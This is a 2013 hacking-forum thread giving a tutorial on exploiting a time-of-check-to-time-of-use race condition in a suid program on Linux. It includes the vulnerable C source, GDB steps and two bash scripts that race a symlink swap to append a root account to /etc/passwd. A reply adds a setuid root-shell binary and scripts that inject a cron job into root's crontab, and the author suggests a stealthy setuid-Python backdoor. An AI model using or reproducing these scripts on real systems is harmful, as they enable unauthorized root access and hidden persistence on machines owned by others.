

Forum:[Hack Forums](#)

Thread: [Dynasty | Race Conditions](#)

-?Divine- - October 30, 2013, 7:47 am

[img]http://img24.imageshack.us/img24/1800/5o9x.png[/img]

Today we will be discussing race conditions. It's a very simple method and you shouldn't have any problems understanding it. Race conditions, as their descriptive name states, are dangerous vulnerabilities which allow change or disruption in the order of events that the programmer intended. Two threads will be racing each other and the winner gets to influence the program. The race will happen between the main program and our malicious one which will attempt to redirect the output to /etc/passwd.

Our first example will be in GDB as it will be much easier to explain what exactly occurs. But first, let's create our vulnerable file.

PHP Code

```
<?php
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){

FILE *file;
char input[60];
strncpy(input, argv[1], 50);
if (!access("/tmp/race", W_OK)) {
file= fopen("/tmp/race", "a+");
fprintf(file, "\n%s", input);
fclose(file);}
}
```

This is a simple program which is meant to be run with `suid`. It will first check to see if we have the permission to write to /tmp/race with the privileges of the current user. If we do, it will proceed by writing our argument to it. If, however, the output file was to be replaced during the execution after the program has checked for permissions, it will write to it regardless of the permissions for it. That's why we will replace it with a symlink to /etc/passwd. But let's take it one step at a time.

Compile it.

PHP Code

```
<?php
gcc -o dong dong.c
```

Allow me to explain first what we will do before we get on to doing it. We will open the file in GDB and set a breakpoint after the program has finished checking the permissions with `access()`. We will then, while the program is paused, remove /tmp/race which is our output file and replace it with a symlink to /etc/test. So basically, the program will check to see if we have access to the casual /tmp/race and when it sees we do, we will replace it with a symbolic link which will direct our input to

/etc/test and write to it. You might have noticed that we're writing to /etc/test and not to the actual /etc/passwd but bear with me. Debugger would need to run as root for it to work properly. That's why we will be using /etc/test instead, for this example. Right now the only thing we're attempting is to replace and redirect the output during the execution.

Let's start. Open the file in GDB and run it with any argument.

PHP Code

```
<?php
gdb dong
run loldongs
```

Now go ahead and check /tmp/race. We've successfully written to it. Now let's disassemble the program.

PHP Code

```
<?php
disas main
```

Let's set a breakpoint at fopen().

PHP Code

```
<?php
break *0x80485ca
```

Now re-run the program and it will hit the breakpoint.

PHP Code

```
<?php
run loldungs
```

Now let's remove the file and replace it with a symlink.

PHP Code

```
<?php
shell
cd /tmp
rm race
ln -s /etc/test race
exit
c
```

Then exit back to the debugger and continue the execution. We will have successfully written to /etc/test.

This, however, means almost nothing. We had the permissions to write to /etc/test from the

beginning. We can't use the debugger in real case scenarios to exploit and write to files that we normally don't have the permission to. So we'll have to find another way to stop the execution after it checks for permissions... Or maybe... Run it a lot of times instead.

Instead of pausing the execution, we will be bruteforcing the correct timing. We'll have two bash scripts running simultaneously in order to hit the right moment. We are aiming to remove /tmp/race and replace it with a symlink to /etc/passwd exactly after the access() check takes place.

The first script will be in the same directory as the vulnerable file and it will be constantly checking if /etc/passwd has been changed by comparing it's old and new size. There are of course other ways to do this. If writing has been successful, it will stop and inform us of it.

PHP Code

```
<?php
#!/bin/bash

pens=$(stat -c%s /etc/passwd)
thin=$(stat -c%s /etc/passwd)

while [ "$pens" == "$thin" ]
do
    thin=$(stat -c%s /etc/passwd)
    ./dong yayitwuurked
done

echo "Finished"
```

The second script will be in /tmp and it will be constantly removing the file race, creating it again and then replacing it with a symlink. This script, along with the other one will surely give us a hit, in time.

PHP Code

```
<?php
#!/bin/bash

while true
do
    rm race
    echo "" >>race
    ln -s /etc/passwd race -f
done
```

We have successfully written to /etc/passwd. It took about thirty seconds this time. Now let's change our argument to something acceptable by /etc/passwd.

PHP Code

```
<?php
divine:2PYyGlrrmNx5.:0:0::/root:/bin/sh
```

It finished in approximately ten seconds. Now let's switch to our new account. Password is 3.

Freddy Kru?ger - October 30, 2013, 8:16 am

Another helpful tutorials from the Dynasty crew, well done Divine.

Gustav - October 30, 2013, 8:36 am

You guys (The Dynasty crew) have been working hard on these threads, keep them coming.

cheatson - October 30, 2013, 8:43 am

Nice pragmatic example to race conditions, well written mate.

Keeper - October 30, 2013, 9:17 am

Well, I'll surely read this one now.

phlower - October 30, 2013, 9:23 am

i saw something about race conditions on joe mccrays site, but i didnt read up on it
thanks

-?Divine- - October 30, 2013, 11:44 am

Thanks for making the images nicer Keeper, appreciate it.

Terror32 - October 30, 2013, 11:47 am

Nice tutorial from you Divine and lol at the user:kurac :D

-?Divine- - October 30, 2013, 11:58 am

(Oct 30, 2013 11:47 AM)Terror32 Wrote: [\[CITE\]](#) Nice tutorial from you Divine and lol at the user:kurac :D

Lol. A lot of people seem to have noticed that.

amus3d 2.0 - October 30, 2013, 12:09 pm

Good jobe, looks like an interesting read.

DYME WHERE ARE YOU?

Dyme???????????? - October 30, 2013, 1:41 pm

Good tutorial Divine. Usually I try to prevent writing to /etc/passwd if possible, so I came up with another easy way of escalating privs without the need to create a new user.

We can get privledged bash execution by utilizing cron. You can simply write to root's crontab file (instead of /etc/passwd) and add a cron job to do whatever you want as root. What I initally came up with was to create a bin that has a SUID bit. Then I would make a new cron job that would allow the file to utilize the setuid() function. He's a brief overview:

Write and compile the bin that will spawn a root shell.

PHP Code

```
<?php
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
```

```
int main()
{
    setuid(0);
    system("/bin/sh");
    return 0;
}
```

*Saved as /tmp/shall in my case

Then use the following scripts I modified from Divine. (See dong's new arg for the string it'll write to roots crontab file)

PHP Code

```
<?php
#!/bin/bash
```

```
pens=$(stat -c%s /var/spool/cron/crontabs/root)
thin=$(stat -c%s /var/spool/cron/crontabs/root)
```

```
while [ "$pens" == "$thin" ]
do
    thin=$(stat -c%s /var/spool/cron/crontabs/root)
    ./dong "*/1 * * * * chown root:root /tmp/shall; chmod 4755 /tmp/shall"
done
```

```
echo "Finished"
```

PHP Code

```
<?php
#!/bin/bash
```

```
while true
do
    rm race
    echo "" >>race
    ln -s /var/spool/cron/crontabs/root race -f
done
```

After the cron job runs, you'll be able to spawn a root shell by running /tmp/shall.

Another quick note... I was unable to compile your vulnerable script without adding the following header file:

PHP Code

```
<?php
#include <unistd.h>
```

Nevertheless, another great contribution.

-?Divine- - October 30, 2013, 1:51 pm

There are many possibilities. Personally I prefer to chmod /usr/bin/python and then just go with os.setuid(0). No one notices.

pashabiceps - November 6, 2013, 12:45 pm

wat i was thinking of writting tutorial on these, fuk u divine

while there are many types of race conditions, the one specified here is called TOCTOU/TOCTTOU (Time-of-check-to-Time-of-use), you vagina.

Quote:chmod /usr/bin/python and then just go with os.setuid(0). No one notices.

EVERYONE NOTICES

- 1) You just revealed your trick to the highly specialized FBI and NSA super secret cyber agents
- 2) Most enterprises use Nagios, Opsview, and fuck you tripwire you're horrid, and log calls to execve() or "equivalents" to remote systems.
- 3) enterprises != albanian sqli vuln sites
- 4) why the hell am i saying this, why am i bullshitting, why
- 5) suicide
- 6) sperm ?
- 7) go to 1

same applies for cronjobs lal

Nice tutorial. Greetings <3<3<3

-?Divine- - November 6, 2013, 12:57 pm

(Nov 6, 2013 01:45 PM)pashabiceps Wrote: [\[CITE\]](#) wat i was thinking of writting tutorial on these, fuk u divine

while there are many types of race conditions, the one specified here is called TOCTOU/TOCTTOU (Time-of-check-to-Time-of-use), you vagina.

EVERYONE NOTICES

- 1) You just revealed your trick to the highly specialized FBI and NSA super secret cyber agents
- 2) Most enterprises use Nagios, Opsview, and fuck you tripwire you're horrid, and log calls to execve() or "equivalents" to remote systems.
- 3) enterprises != albanian sqli vuln sites
- 4) why the hell am i saying this, why am i bullshitting, why
- 5) suicide
- 6) sperm ?
- 7) go to 1

same applies for cronjobs lal

Nice tutorial. Greetings <3<3<3

Sperm does commit suicide upon leaving one's reproductive organ, I must agree.

BeggFoMercy - November 6, 2013, 1:42 pm

Awesome tutorial , surely one of the best tutorials that was posted lately .

Rackzen - November 6, 2013, 1:52 pm

very good tutorial , i know you from ' Antagonism ' , i tried to join on it my friend! :)

-?Divine- - November 7, 2013, 12:59 pm

(Nov 6, 2013 02:52 PM)Rackzen Wrote: [\[CITE\]](#) very good tutorial , i know you from ' Antagonism ' , i tried to join on it my friend! :)

Antagonism is no longer alive, it deaded.

lchi - November 8, 2013, 1:38 pm

(Nov 7, 2013 01:59 PM)-?Divine- Wrote: [\[CITE\]](#) Antagonism is no longer alive, it deaded.
This is true.

Nice tutorial, Divine. Always HQ stuff from you